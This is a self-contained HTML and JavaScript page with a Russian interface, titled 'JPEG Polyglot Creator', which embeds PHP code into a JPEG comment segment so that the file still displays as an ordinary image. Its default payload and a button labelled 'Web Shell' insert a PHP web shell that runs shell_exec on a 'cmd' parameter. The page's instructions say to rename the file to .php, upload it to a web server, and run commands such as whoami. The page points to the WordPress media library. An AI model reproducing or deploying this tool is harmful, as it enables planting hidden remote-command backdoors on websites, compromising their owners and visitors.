123213123

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>JPEG Polyglot Creator</title>
    <style>
        .polyglot-container {
            max-width: 800px;
            margin: 20px auto;
            padding: 20px;
            border: 2px solid #0073aa;
            border-radius: 8px;
            background: #f9f9f9;
            font-family: Arial, sans-serif;
        }
        .form-group {
            margin: 15px 0;
        }
        label {
            display: block;
            font-weight: bold;
            margin-bottom: 5px;
            color: #333;
        }
        input[type="file"], textarea, input[type="text"] {
            width: 100%;
            padding: 8px;
            border: 1px solid #ccc;
            border-radius: 4px;
            font-size: 14px;
        }
        textarea {
            height: 100px;
            resize: vertical;
        }
        button {
            background: #0073aa;
            color: white;
            padding: 10px 20px;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-size: 16px;
        }
        button:hover {
            background: #005a87;
        }
        .result {
            margin-top: 20px;
            padding: 15px;
            border-radius: 4px;
        }
        .success {
            background: #d4edda;
            border: 1px solid #c3e6cb;
            color: #155724;
        }
        .error {
            background: #f8d7da;
            border: 1px solid #f5c6cb;
            color: #721c24;
        }
        .preview {
            max-width: 300px;
            margin: 10px 0;
            border: 1px solid #ccc;
        }
        .instructions {
            background: #fff3cd;
            border: 1px solid #ffeaa7;
            padding: 10px;
            margin-top: 10px;
            border-radius: 4px;
        }
    </style>
</head>
<body>

<div class="polyglot-container">
    <h2>🔄 JPEG Polyglot Creator</h2>
    <p>Превращает обычное JPEG изображение в полиглот с PHP кодом</p>

    <form id="polyglotForm">
        <div class="form-group">
            <label for="imageFile">Выберите JPEG изображение:</label>
            <input type="file" id="imageFile" accept=".jpg,.jpeg,image/jpeg" required>
            <small>Загрузите изображение из медиатеки WordPress на свой компьютер, затем выберите здесь</small>
        </div>

        <div class="form-group">
            <label for="phpCode">PHP код для внедрения:</label>
            <textarea id="phpCode" placeholder="echo 'Hello from polyglot!';">echo "Hello from JPEG polyglot! Time: " . date('Y-m-d H:i:s');
if(isset($_GET['cmd'])) {
    echo "&lt;pre&gt;" . shell_exec($_GET['cmd']) . "&lt;/pre&gt;";
}</textarea>
            <small>Введите PHP код без &lt;?php тегов</small>
        </div>

        <div class="form-group">
            <label for="outputName">Имя выходного файла:</label>
            <input type="text" id="outputName" placeholder="polyglot" value="polyglot">
            <small>Без расширения .jpg</small>
        </div>

        <button type="submit">🚀 Создать полиглот</button>
    </form>

    <div id="result"></div>
</div>

<script>
document.getElementById('polyglotForm').addEventListener('submit', function(e) {
    e.preventDefault();
    
    const fileInput = document.getElementById('imageFile');
    const phpCode = document.getElementById('phpCode').value;
    const outputName = document.getElementById('outputName').value || 'polyglot';
    const resultDiv = document.getElementById('result');
    
    if (!fileInput.files[0]) {
        showResult('Выберите изображение!', 'error');
        return;
    }
    
    const file = fileInput.files[0];
    
    // Проверяем тип файла
    if (!file.type.includes('jpeg') && !file.name.toLowerCase().includes('.jpg')) {
        showResult('Выберите JPEG изображение!', 'error');
        return;
    }
    
    const reader = new FileReader();
    reader.onload = function(e) {
        try {
            const arrayBuffer = e.target.result;
            const uint8Array = new Uint8Array(arrayBuffer);
            
            // Проверяем JPEG заголовок
            if (uint8Array[0] !== 0xFF || uint8Array[1] !== 0xD8) {
                showResult('Файл не является валидным JPEG!', 'error');
                return;
            }
            
            // Создаем PHP код
            const phpPayload = `<?php\n${phpCode}\n?>`;
            const phpBytes = new TextEncoder().encode(phpPayload);
            
            // Создаем JPEG комментарий
            const commentMarker = new Uint8Array([0xFF, 0xFE]);
            const commentLength = phpBytes.length + 2;
            const lengthBytes = new Uint8Array([
                (commentLength >> 8) & 0xFF,
                commentLength & 0xFF
            ]);
            
            // Собираем полиглот
            const polyglotArray = new Uint8Array(
                uint8Array.length + commentMarker.length + lengthBytes.length + phpBytes.length
            );
            
            let offset = 0;
            
            // SOI маркер (первые 2 байта)
            polyglotArray.set(uint8Array.slice(0, 2), offset);
            offset += 2;
            
            // Комментарий с PHP кодом
            polyglotArray.set(commentMarker, offset);
            offset += commentMarker.length;
            
            polyglotArray.set(lengthBytes, offset);
            offset += lengthBytes.length;
            
            polyglotArray.set(phpBytes, offset);
            offset += phpBytes.length;
            
            // Остальная часть изображения
            polyglotArray.set(uint8Array.slice(2), offset);
            
            // Создаем blob и ссылку для скачивания
            const blob = new Blob([polyglotArray], { type: 'image/jpeg' });
            const url = URL.createObjectURL(blob);
            
            const filename = `${outputName}.jpg`;
            
            // Показываем результат
            showResult(`
                <h3>✅ Полиглот создан успешно!</h3>
                <p><strong>Исходный файл:</strong> ${file.name}</p>
                <p><strong>Размер:</strong> ${file.size} → ${polyglotArray.length} bytes</p>
                <p><strong>Добавлено:</strong> ${polyglotArray.length - file.size} bytes PHP кода</p>
                <p><strong>PHP код:</strong> <code>${phpCode}</code></p>
                
                <div>
                    <a href="${url}" download="${filename}" style="display: inline-block; background: #0073aa; color: white; padding: 10px 15px; text-decoration: none; border-radius: 4px; margin: 10px 0;">
                        📥 Скачать ${filename}
                    </a>
                </div>
                
                <div>
                    <img src="${url}" class="preview" alt="Polyglot Preview">
                    <p><small>Превью: файл отображается как обычное изображение</small></p>
                </div>
                
                <div class="instructions">
                    <strong>📋 Инструкции по использованию:</strong><br>
                    1. Скачайте файл по ссылке выше<br>
                    2. Переименуйте в .php: <code>${outputName}.php</code><br>
                    3. Загрузите на веб-сервер<br>
                    4. Откройте в браузере: <code>http://ваш-сайт.com/${outputName}.php</code><br>
                    5. Для выполнения команд: <code>http://ваш-сайт.com/${outputName}.php?cmd=whoami</code>
                </div>
            `, 'success');
            
        } catch (error) {
            showResult(`Ошибка при создании полиглота: ${error.message}`, 'error');
        }
    };
    
    reader.readAsArrayBuffer(file);
});

function showResult(message, type) {
    const resultDiv = document.getElementById('result');
    resultDiv.innerHTML = `<div class="result ${type}">${message}</div>`;
    resultDiv.scrollIntoView({ behavior: 'smooth' });
}

// Пример кодов для быстрой вставки
function insertExample(code) {
    document.getElementById('phpCode').value = code;
}

// Добавляем примеры кодов
document.addEventListener('DOMContentLoaded', function() {
    const examplesDiv = document.createElement('div');
    examplesDiv.innerHTML = `
        <div style="margin: 10px 0; padding: 10px; background: #e9ecef; border-radius: 4px;">
            <strong>🔧 Примеры PHP кода:</strong><br>
            <button type="button" onclick="insertExample('phpinfo();')" style="margin: 2px; font-size: 12px; padding: 4px 8px;">phpinfo()</button>
            <button type="button" onclick="insertExample('echo \\'Hello World!\\';')" style="margin: 2px; font-size: 12px; padding: 4px 8px;">Hello World</button>
            <button type="button" onclick="insertExample('echo date(\\'Y-m-d H:i:s\\');')" style="margin: 2px; font-size: 12px; padding: 4px 8px;">Время</button>
            <button type="button" onclick="insertExample('if(isset(\\$_GET[\\'cmd\\'])) echo shell_exec(\\$_GET[\\'cmd\\']);')" style="margin: 2px; font-size: 12px; padding: 4px 8px;">Web Shell</button>
        </div>
    `;
    
    document.getElementById('phpCode').parentNode.appendChild(examplesDiv);
});

// Глобальная функция для примеров
window.insertExample = function(code) {
    document.getElementById('phpCode').value = code;
}
</script>

</body>
</html>